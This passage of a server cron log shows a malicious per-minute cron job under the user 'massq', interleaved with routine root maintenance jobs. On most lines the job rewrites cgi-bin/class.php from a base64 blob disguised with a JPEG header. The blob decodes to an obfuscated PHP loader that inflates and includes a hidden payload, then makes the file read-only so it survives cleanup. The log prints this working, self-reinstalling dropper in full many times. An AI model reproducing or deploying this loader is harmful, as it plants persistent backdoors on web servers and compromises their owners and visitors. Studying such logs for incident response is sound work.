/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 04:44:01 server CROND[20953]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 04:45:01 server CROND[21003]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 04:45:01 server CROND[21004]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 04:45:01 server CROND[21005]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 04:46:01 server CROND[21107]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 04:47:01 server CROND[21178]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 04:48:01 server CROND[21328]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 04:49:01 server CROND[21377]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 04:50:01 server CROND[21436]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 04:50:01 server CROND[21450]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 04:50:01 server CROND[21453]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 04:50:01 server CROND[21451]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 11 04:50:01 server CROND[21454]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 04:51:01 server CROND[21557]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 04:52:01 server CROND[21602]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 04:53:01 server CROND[21658]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 04:54:01 server CROND[21804]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 04:55:01 server CROND[21855]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 04:55:01 server CROND[21856]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 04:55:01 server CROND[21854]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 04:56:01 server CROND[21964]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 04:57:01 server CROND[22017]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg